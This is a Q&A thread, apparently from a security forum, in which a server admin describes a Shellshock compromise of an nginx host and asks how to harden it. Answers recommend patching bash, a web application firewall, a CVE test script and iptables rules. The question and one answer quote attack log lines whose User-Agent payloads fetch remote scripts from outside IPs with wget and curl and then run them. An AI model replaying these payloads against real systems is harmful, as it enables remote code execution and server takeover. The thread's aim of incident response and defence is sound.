3

A few days ago, someone tried a series of requests on our nginx instance. All failed except one.

54.164.156.8 - - [**/Mar/2015:**********] "GET / HTTP/1.1" 200 393 "-" "() { :;};/usr/bin/perl -e 'print \x22Content-Type: text/plain\x5Cr\x5Cn\x5Cr\x5CnXSUCCESS!\x22;system(\x22wget http://202.191.121.230/ou.pl -O /tmp/b.pl;curl -O /tmp/b.pl http://202.191.121.230/ou.pl;perl /tmp/b.pl;rm -rf /tmp/b.pl*\x22);'"

This one got a HTTP 200 from nginx and indeed an executable b was created in /tmp/ (there were few other weirdly named and unexpected executables in there too.) Not only that. Shortly after, network traffic on our servers spiked and more than 500 gigs was metered.

All done. No fretting over spilled milk. We have reset that server.

We have (what we believe) reasonable practices as far as servers go: we update distro packs daily, keep eye on logs, have touched upon configs for iptables, ssh and the like. But nginx (bash?) was rude to us, it should not have allowed that.

Anyways in resetting the server, we have, this time, purged curl and wget. Is that of any help (attackers can use inherent libraries like urllib for python)?

Is it even possible to block download of arbitrary files, especially given that many attack vectors involve downloading remote scripts and executing locally? Will that be of any help?

What more can we do to protect ourselves, more so after the attacker already knows he pawned the IP address once, he is surely ought to come again.

Date and time in the log has been deliberately redacted

  • Why don't you patch bash? – GdD Mar 18 '15 at 17:20
  • As I have mentioned we do daily package manager updates. – WeaklyTyped Mar 18 '15 at 17:23
  • What version of bash is on your server now? – paj28 Mar 18 '15 at 20:30
  • 1
    You need to patch @WeaklyTyped. If your package manager updating is not updating bash then you need to research why and if needs be fix it manually. – GdD Mar 19 '15 at 11:27
4

Removing curl and wget is merely a speed bump for your attackers. You've got a case of remote code execution, which means you're owned no matter what. /bin/cat /etc/passwd is a favourite for shell shockers -- and you can't remove cat!

What you need to do is update your bash package. You mentioned you've wiped the box and started over. That's an excellent first instinct. Now, you need to update and keep your box updated! The easiest way to do this is through your package manager, so do that before you put it online. Then, set up an auto-security update policy. Consult the documentation for your distro to do that.

You are correct in assuming that your attacker will want to come back to an already-compromised box. After you update bash, you'll be immune to shellshock, but there's still a lot of issues that webservers face. Have you looked into NAXSI? This is a Web Application Firewall (WAF) that can shield your nginx installation from common attacks in a rule-based fashion.

  • 1
    NAXSI is something good you have bought up. – WeaklyTyped Mar 18 '15 at 17:26
1

I have the same case on one of the machines, here is the log:

50.63.25.208 - - [09/Apr/2015:06:32:47 +0200] "GET /cgi-bin/defaultwebpage.cgi HTTP/1.1" 404 136 "-" "() { :;};/usr/bin/perl -e 'print \x22Content-Type: text/plain\x5Cr\x5Cn\x5Cr\x5CnXSUCCESS!\x22;system(\x22cd /tmp;cd /var/tmp;rm -rf .c.txt;rm -rf .d.txt ; wget http://109.228.25.87/.c.txt ; curl -O http://109.228.25.87/.c.txt ; fetch http://109.228.25.87/.c.txt ; lwp-download http://109.228.25.87/.c.txt; chmod +x .c.txt* ; sh .c.txt* \x22);'"

To check is your server are vulnerable to ShellShock:

#!/bin/bash
EXITCODE=0

# CVE-2014-6271
CVE20146271=$(env 'x=() { :;}; echo vulnerable' 'BASH_FUNC_x()=() { :;}; echo vulnerable' bash -c "echo test" 2>&1 | grep 'vulnerable' | wc -l)

echo -n "CVE-2014-6271 (original shellshock): "
if [ $CVE20146271 -gt 0 ]; then
    echo -e "\033[91mVULNERABLE\033[39m"
    EXITCODE=$((EXITCODE+1))
else
    echo -e "\033[92mnot vulnerable\033[39m"
fi

# CVE-2014-6277
# it is fully mitigated by the environment function prefix passing avoidance
CVE20146277=$((shellshocker="() { x() { _;}; x() { _;} <<a; }" bash -c date 2>/dev/null || echo vulnerable) | grep 'vulnerable' | wc -l)

echo -n "CVE-2014-6277 (segfault): "
if [ $CVE20146277 -gt 0 ]; then
    echo -e "\033[91mVULNERABLE\033[39m"
    EXITCODE=$((EXITCODE+2))
else
    echo -e "\033[92mnot vulnerable\033[39m"
fi

# CVE-2014-6278
CVE20146278=$(shellshocker='() { echo vulnerable; }' bash -c shellshocker 2>/dev/null | grep 'vulnerable' | wc -l)

echo -n "CVE-2014-6278 (Florian's patch): "
if [ $CVE20146278 -gt 0 ]; then
    echo -e "\033[91mVULNERABLE\033[39m"
    EXITCODE=$((EXITCODE+4))
else
    echo -e "\033[92mnot vulnerable\033[39m"
fi

# CVE-2014-7169
CVE20147169=$((cd /tmp; rm -f /tmp/echo; env X='() { (a)=>\' bash -c "echo echo nonvuln" 2>/dev/null; [[ "$(cat echo 2> /dev/null)" == "nonvuln" ]] && echo "vulnerable" 2> /dev/null) | grep 'vulnerable' | wc -l)

echo -n "CVE-2014-7169 (taviso bug): "
if [ $CVE20147169 -gt 0 ]; then
    echo -e "\033[91mVULNERABLE\033[39m"
    EXITCODE=$((EXITCODE+8))
else
    echo -e "\033[92mnot vulnerable\033[39m"
fi

# CVE-2014-7186
CVE20147186=$((bash -c 'true <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF' 2>/dev/null || echo "vulnerable") | grep 'vulnerable' | wc -l)

echo -n "CVE-2014-7186 (redir_stack bug): "
if [ $CVE20147186 -gt 0 ]; then
    echo -e "\033[91mVULNERABLE\033[39m"
    EXITCODE=$((EXITCODE+16))
else
    echo -e "\033[92mnot vulnerable\033[39m"
fi

# CVE-2014-7187
CVE20147187=$(((for x in {1..200}; do echo "for x$x in ; do :"; done; for x in {1..200}; do echo done; done) | bash || echo "vulnerable") | grep 'vulnerable' | wc -l)

echo -n "CVE-2014-7187 (nested loops off by one): "
if [ $CVE20147187 -gt 0 ]; then
    echo -e "\033[91mVULNERABLE\033[39m"
    EXITCODE=$((EXITCODE+32))
else
    echo -e "\033[92mnot vulnerable\033[39m"
fi

# CVE-2014-////
CVE2014=$(env X=' () { }; echo vulnerable' bash -c 'date' | grep 'vulnerable' | wc -l)

echo -n "CVE-2014-//// (exploit 3 on http://shellshocker.net/): "
if [ $CVE2014 -gt 0 ]; then
    echo -e "\033[91mVULNERABLE\033[39m"
    EXITCODE=$((EXITCODE+64))
else
    echo -e "\033[92mnot vulnerable\033[39m"
fi

exit $EXITCODE

That way of update the bash fix this issue:

sudo apt-get update && sudo apt-get install --only-upgrade bash

In case of End of life release just do:

sudo do-release-upgrade

Just in case I add some more rules to iptables to close all port and leave only that I use and SSH:

*filter

# By default drop
-P INPUT DROP
-P OUTPUT DROP
-P FORWARD DROP

# Allow all loopback 
# Drop all traffic to 127/8 that doesn't use lo0
-A INPUT -i lo -j ACCEPT
-A OUTPUT -o lo -j ACCEPT
-A INPUT -d 127.0.0.0/8 -j REJECT

#  Accept all established inbound connections
-A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
-A INPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT

# allow the machine to browse the internet
-A INPUT -p tcp -m tcp --sport 80 -m state --state RELATED,ESTABLISHED -j ACCEPT
-A OUTPUT -p tcp -m tcp --dport 80 -j ACCEPT
-A INPUT -p tcp -m tcp --sport 443 -m state --state RELATED,ESTABLISHED -j ACCEPT
-A OUTPUT -p tcp -m tcp --dport 443 -j ACCEPT
-A INPUT -p tcp -m tcp --sport SSH-PORT -m state --state RELATED,ESTABLISHED -j ACCEPT
-A OUTPUT -p tcp -m tcp --dport SSH-PORT -j ACCEPT

# DNS
-A INPUT -p udp -m udp --sport 53 -j ACCEPT
-A OUTPUT -p udp -m udp --dport 53 -j ACCEPT
-A INPUT -p tcp -m tcp --sport 53 -j ACCEPT
-A OUTPUT -p tcp -m tcp --dport 53 -j ACCEPT

#  Allow all outbound traffic
-A OUTPUT -j ACCEPT

#  Allow HTTP and HTTPS connections from anywhere (the normal ports for websites and SSL).
-A INPUT -p tcp --dport 80 -j ACCEPT
-A INPUT -p tcp --dport 443 -j ACCEPT

#  Allow SSH connections
-A INPUT -p tcp -m state --state NEW --dport SSH-PORT -j ACCEPT

# blocking repeated attempts 
-A INPUT -p tcp --dport SSH-PORT -m state --state NEW -m recent --set --name ssh --rsource
-A INPUT -p tcp --dport SSH-PORT -m state --state NEW -m recent ! --rcheck --seconds 60 --hitcount 4 --name ssh --rsource -j ACCEPT

# SSH Brute Force Protection
-N LOGDROP
-A LOGDROP -j LOG
-A LOGDROP -j DROP
-I INPUT -p tcp --dport SSH-PORT -i eth0 -m state --state NEW -m recent --set
-I INPUT -p tcp --dport SSH-PORT -i eth0 -m state --state NEW -m recent  --update --seconds 60 --hitcount 4 -j LOGDROP

#  Allow ping
-A INPUT -p icmp --icmp-type echo-request -j ACCEPT

#  Log iptables denied calls
-A INPUT -m limit --limit 5/min -j LOG --log-prefix "iptables denied: " --log-level 7

# Validate packets
-A INPUT   -m state --state INVALID -j DROP  
-A FORWARD -m state --state INVALID -j DROP  
-A OUTPUT  -m state --state INVALID -j DROP  
-A INPUT -p tcp -m tcp --tcp-flags SYN,FIN SYN,FIN -j DROP 
-A INPUT -p tcp -m tcp --tcp-flags SYN,RST SYN,RST -j DROP 

# Reject Invalid networks (Spoof)
-A INPUT -s 10.0.0.0/8       -j DROP
-A INPUT -s 192.0.0.1/24     -j DROP
-A INPUT -s 169.254.0.0/16   -j DROP
-A INPUT -s 172.16.0.0/12    -j DROP
-A INPUT -s 224.0.0.0/4      -j DROP
-A INPUT -d 224.0.0.0/4      -j DROP
-A INPUT -s 240.0.0.0/5      -j DROP
-A INPUT -d 240.0.0.0/5      -j DROP
-A INPUT -s 0.0.0.0/8        -j DROP
-A INPUT -d 0.0.0.0/8        -j DROP
-A INPUT -d 239.255.255.0/24 -j DROP
-A INPUT -d 255.255.255.255  -j DROP

#  Drop all other inbound - default deny unless explicitly allowed policy
-A INPUT -j DROP
-A FORWARD -j DROP

COMMIT

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.